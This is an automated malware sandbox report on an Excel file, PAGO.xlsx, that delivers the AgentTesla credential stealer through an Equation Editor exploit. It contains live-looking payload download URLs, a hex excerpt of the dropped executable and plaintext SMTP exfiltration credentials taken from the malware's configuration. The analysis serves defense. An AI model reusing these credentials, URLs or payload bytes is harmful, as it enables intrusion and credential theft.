Analysis Report PAGO.xlsx

Overview

General Information

Sample Name: PAGO.xlsx
Analysis ID: 383929
MD5: db190ad25a453084bc89ecb5d46d6e0a
SHA1: 999aacfcfee17aaa6231cf858af787d5ddce8774
SHA256: 4273c2c75793063754de785ea06da2e149f8e659db159e94e73be5b23abdd3a7
Tags: AgentTeslaVelvetSweatshopxlsx
Infos:

Most interesting Screenshot:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected AgentTesla
Yara detected AntiVM3
Drops PE files to the user root directory
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Office equation editor drops PE file
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file access)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Connects to a URL shortener service
Contains functionality to call native functions
Contains functionality to detect virtual machines (SLDT)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Downloads executable code via HTTP
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
PE file contains strange resources
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://wsdysuresbonescagegp.dns.army/documenpt/svchost.exe Avira URL Cloud: Label: malware
Found malware configuration
Source: 5.2.vbc.exe.400000.1.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "helio@lpsinvest.comz6~Rhjss*B0}smtp.lpsinvest.com"}
Multi AV Scanner detection for domain / URL
Source: wsdysuresbonescagegp.dns.army Virustotal: Detection: 5% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\svchost[1].exe ReversingLabs: Detection: 16%
Source: C:\Users\Public\vbc.exe ReversingLabs: Detection: 16%
Multi AV Scanner detection for submitted file
Source: PAGO.xlsx Virustotal: Detection: 33% Perma Link
Source: PAGO.xlsx ReversingLabs: Detection: 33%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\svchost[1].exe Joe Sandbox ML: detected
Source: C:\Users\Public\vbc.exe Joe Sandbox ML: detected

Exploits:

barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 104.25.234.53:443 -> 192.168.2.22:49165 version: TLS 1.2

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\Public\vbc.exe Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h 4_2_005D6498
Source: C:\Users\Public\vbc.exe Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h 4_2_005D6488
Source: C:\Users\Public\vbc.exe Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h 4_2_005D6358
Source: C:\Users\Public\vbc.exe Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h 4_2_005D6368
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: is.gd
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 104.25.234.53:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 104.25.234.53:443

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2022550 ET TROJAN Possible Malicious Macro DL EXE Feb 2016 192.168.2.22:49166 -> 103.153.76.181:80
Connects to a URL shortener service
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE DNS query: name: is.gd
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 5.10.29.169:587
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 08 Apr 2021 10:40:38 GMTServer: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.2.34Last-Modified: Thu, 08 Apr 2021 07:36:25 GMTETag: "dde00-5bf711ad4360e"Accept-Ranges: bytesContent-Length: 908800Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 79 b2 6e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 96 0a 00 00 46 03 00 00 00 00 00 9a b4 0a 00 00 20 00 00 00 c0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 0e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 48 b4 0a 00 4f 00 00 00 00 c0 0a 00 34 42 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0e 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 94 0a 00 00 20 00 00 00 96 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 34 42 03 00 00 c0 0a 00 00 44 03 00 00 98 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 0e 00 00 02 00 00 00 dc 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c b4 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 80 3f 00 00 60 48 00 00 03 00 00 00 01 00 00 06 e0 87 00 00 68 2c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 1f 00 00 0a 28 20 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 21 00 00 0a 00 2a 00 01 10 00 00 02 00 01 00 0e 0f 00 02 00 00 00 00 aa 00 02 16 28 22 00 00 0a 00 02 16 28 23 00 00 0a 00 02 17 28 24 00 00 0a 00 02 17 28 25 00 00 0a 00 02 16 28 26 00 00 0a 00 2a 4e 00 02 28 09 00 00 06 6f 6c 00 00 06 28 27 00 00 0a 00 2a 26 00 02 28 28 00 00 0a 00 2a ce 73 29 00 00 0a 80 01 00 00 04 73 2a 00 00 0a 80 02 00 00 04 73 2b 00 00 0a 80 03 00 00 04 73 2c 00 00 0a 80 04 00 00 04 73 2d 00 00 0a 80 05 00 00 04 2a 00 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 2e 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 2f 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 30 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 31 00 00 0a 0
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 5.10.29.169 5.10.29.169
Source: Joe Sandbox View IP Address: 104.25.234.53 104.25.234.53
Source: Joe Sandbox View IP Address: 103.153.76.181 103.153.76.181
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: EVEREST-ASGB EVEREST-ASGB
Source: Joe Sandbox View ASN Name: TWIDC-AS-APTWIDCLimitedHK TWIDC-AS-APTWIDCLimitedHK
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 5.10.29.169:587
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /documenpt/svchost.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: wsdysuresbonescagegp.dns.army
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4B3408F0.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /documenpt/svchost.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: wsdysuresbonescagegp.dns.army
Source: unknown DNS traffic detected: queries for: is.gd
Source: vbc.exe, 00000005.00000002.2369032763.00000000025B1000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: vbc.exe, 00000005.00000002.2369032763.00000000025B1000.00000004.00000001.sdmp String found in binary or memory: http://AFplKq.com
Source: vbc.exe, 00000005.00000002.2369032763.00000000025B1000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: vbc.exe, 00000005.00000002.2370796460.0000000005E70000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000004.00000002.2169807116.00000000024B8000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, 00000005.00000002.2369177054.00000000026F4000.00000004.00000001.sdmp String found in binary or memory: http://smtp.lpsinvest.com
Source: vbc.exe, 00000005.00000002.2370796460.0000000005E70000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: vbc.exe, 00000005.00000002.2369077883.0000000002636000.00000004.00000001.sdmp String found in binary or memory: https://api.ipify.org%
Source: vbc.exe, 00000005.00000002.2369032763.00000000025B1000.00000004.00000001.sdmp String found in binary or memory: https://api.ipify.org%GETMozilla/5.0
Source: vbc.exe, vbc.exe, 00000005.00000002.2368916069.0000000000F82000.00000020.00020000.sdmp, svchost[1].exe.2.dr String found in binary or memory: https://dist.nuget.org/win-x86-commandline/latest/nuget.exe
Source: vbc.exe, svchost[1].exe.2.dr String found in binary or memory: https://github.com/Spegeli/Pokemon-Go-Rocket-API/archive/master.zip
Source: vbc.exe, vbc.exe, 00000005.00000002.2368916069.0000000000F82000.00000020.00020000.sdmp, svchost[1].exe.2.dr String found in binary or memory: https://github.com/d-haxton/HaxtonBot/archive/master.zip
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css
Source: vbc.exe, 00000004.00000002.2170048529.000000000347C000.00000004.00000001.sdmp, vbc.exe, 00000005.00000002.2368346824.0000000000402000.00000040.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: vbc.exe, 00000005.00000002.2369032763.00000000025B1000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: vbc.exe, 00000005.00000002.2369104904.0000000002658000.00000004.00000001.sdmp, vbc.exe, 00000005.00000002.2369171386.00000000026EC000.00000004.00000001.sdmp String found in binary or memory: https://x8nMk45g8ETcNqX.org
Source: unknown Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown HTTPS traffic detected: 104.25.234.53:443 -> 192.168.2.22:49165 version: TLS 1.2

System Summary:

barindex
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\svchost[1].exe Jump to dropped file
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\Public\vbc.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Contains functionality to call native functions
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D5424 NtQueryInformationProcess, 4_2_002D5424
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 4_2_00F82050 4_2_00F82050
Source: C:\Users\Public\vbc.exe Code function: 4_2_00F846E0 4_2_00F846E0
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D0288 4_2_002D0288
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D6290 4_2_002D6290
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D83D8 4_2_002D83D8
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D240B 4_2_002D240B
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D74D9 4_2_002D74D9
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D5690 4_2_002D5690
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D27D8 4_2_002D27D8
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D39C1 4_2_002D39C1
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D6AB8 4_2_002D6AB8
Source: C:\Users\Public\vbc.exe Code function: 4_2_002DAAF9 4_2_002DAAF9
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D3DA0 4_2_002D3DA0
Source: C:\Users\Public\vbc.exe Code function: 4_2_002DE068 4_2_002DE068
Source: C:\Users\Public\vbc.exe Code function: 4_2_002DA149 4_2_002DA149
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D92B0 4_2_002D92B0
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D92C0 4_2_002D92C0
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D7340 4_2_002D7340
Source: C:\Users\Public\vbc.exe Code function: 4_2_002DB5B8 4_2_002DB5B8
Source: C:\Users\Public\vbc.exe Code function: 4_2_002DE688 4_2_002DE688
Source: C:\Users\Public\vbc.exe Code function: 4_2_002DA6D8 4_2_002DA6D8
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D27C8 4_2_002D27C8
Source: C:\Users\Public\vbc.exe Code function: 4_2_002DA93E 4_2_002DA93E
Source: C:\Users\Public\vbc.exe Code function: 4_2_002DA908 4_2_002DA908
Source: C:\Users\Public\vbc.exe Code function: 4_2_002DA918 4_2_002DA918
Source: C:\Users\Public\vbc.exe Code function: 4_2_002DED50 4_2_002DED50
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D0E20 4_2_002D0E20
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D9E84 4_2_002D9E84
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D6F84 4_2_002D6F84
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D0968 4_2_005D0968
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D0C6B 4_2_005D0C6B
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D0900 4_2_005D0900
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D4D28 4_2_005D4D28
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D15F8 4_2_005D15F8
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D15E9 4_2_005D15E9
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D2990 4_2_005D2990
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D1DA8 4_2_005D1DA8
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D49A1 4_2_005D49A1
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D1AF0 4_2_005D1AF0
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D4EE7 4_2_005D4EE7
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D1AE0 4_2_005D1AE0
Source: C:\Users\Public\vbc.exe Code function: 4_2_005D4F33 4_2_005D4F33
Source: C:\Users\Public\vbc.exe Code function: 5_2_00F82050 5_2_00F82050
Source: C:\Users\Public\vbc.exe Code function: 5_2_00F846E0 5_2_00F846E0
Source: C:\Users\Public\vbc.exe Code function: 5_2_002E5320 5_2_002E5320
Source: C:\Users\Public\vbc.exe Code function: 5_2_002E6340 5_2_002E6340
Source: C:\Users\Public\vbc.exe Code function: 5_2_002EB418 5_2_002EB418
Source: C:\Users\Public\vbc.exe Code function: 5_2_002E5668 5_2_002E5668
Source: C:\Users\Public\vbc.exe Code function: 5_2_002E2087 5_2_002E2087
Source: C:\Users\Public\vbc.exe Code function: 5_2_002EE5B0 5_2_002EE5B0
Source: C:\Users\Public\vbc.exe Code function: 5_2_002EE610 5_2_002EE610
Source: C:\Users\Public\vbc.exe Code function: 5_2_00786928 5_2_00786928
Source: C:\Users\Public\vbc.exe Code function: 5_2_007805B8 5_2_007805B8
Source: C:\Users\Public\vbc.exe Code function: 5_2_007871A8 5_2_007871A8
Source: C:\Users\Public\vbc.exe Code function: 5_2_00787EB8 5_2_00787EB8
Source: C:\Users\Public\vbc.exe Code function: 5_2_0078B298 5_2_0078B298
Source: C:\Users\Public\vbc.exe Code function: 5_2_0078B868 5_2_0078B868
Source: C:\Users\Public\vbc.exe Code function: 5_2_00782910 5_2_00782910
Source: C:\Users\Public\vbc.exe Code function: 5_2_00785380 5_2_00785380
Source: C:\Users\Public\vbc.exe Code function: 5_2_00DF0048 5_2_00DF0048
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: PAGO.xlsx OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
PE file contains strange resources
Source: svchost[1].exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: svchost[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winXLSX@6/24@5/3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$PAGO.xlsx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE0FB.tmp Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\Public\vbc.exe WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\Public\vbc.exe WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\Public\vbc.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: Select * from UnmanagedMemoryStreamWrapper WHERE modelo=@modelo;?
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: Select * from Aluguel5Erro ao listar Banco sql-UnmanagedMemoryStreamWrapper.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: INSERT INTO UnmanagedMemoryStreamWrapper VALUES(@modelo, @fabricante, @ano, @cor);
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: PAGO.xlsx Virustotal: Detection: 33%
Source: PAGO.xlsx ReversingLabs: Detection: 33%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\Public\vbc.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: PAGO.xlsx Initial sample: OLE indicators vbamacros = False
Source: PAGO.xlsx Initial sample: OLE indicators encrypted = True

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\vbc.exe Code function: 4_2_00F98523 push dword ptr [esi+3Fh]; iretd 4_2_00F98535
Source: C:\Users\Public\vbc.exe Code function: 4_2_00F9928F push FFFFFFD9h; iretd 4_2_00F992AC
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D5B3F push esp; retf 4_2_002D5B43
Source: C:\Users\Public\vbc.exe Code function: 4_2_002D5B44 push esp; retf 4_2_002D5B4A
Source: C:\Users\Public\vbc.exe Code function: 5_2_00F98523 push dword ptr [esi+3Fh]; iretd 5_2_00F98535
Source: C:\Users\Public\vbc.exe Code function: 5_2_00F9928F push FFFFFFD9h; iretd 5_2_00F992AC
Source: C:\Users\Public\vbc.exe Code function: 5_2_00781858 pushfd ; retn 001Dh 5_2_00781859
Source: C:\Users\Public\vbc.exe Code function: 5_2_00783012 push esp; retf 5_2_00783061
Source: C:\Users\Public\vbc.exe Code function: 5_2_00781678 push esp; retn 001Dh 5_2_007816C1
Source: initial sample Static PE information: section name: .text entropy: 7.56739593384

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\svchost[1].exe Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival:

barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
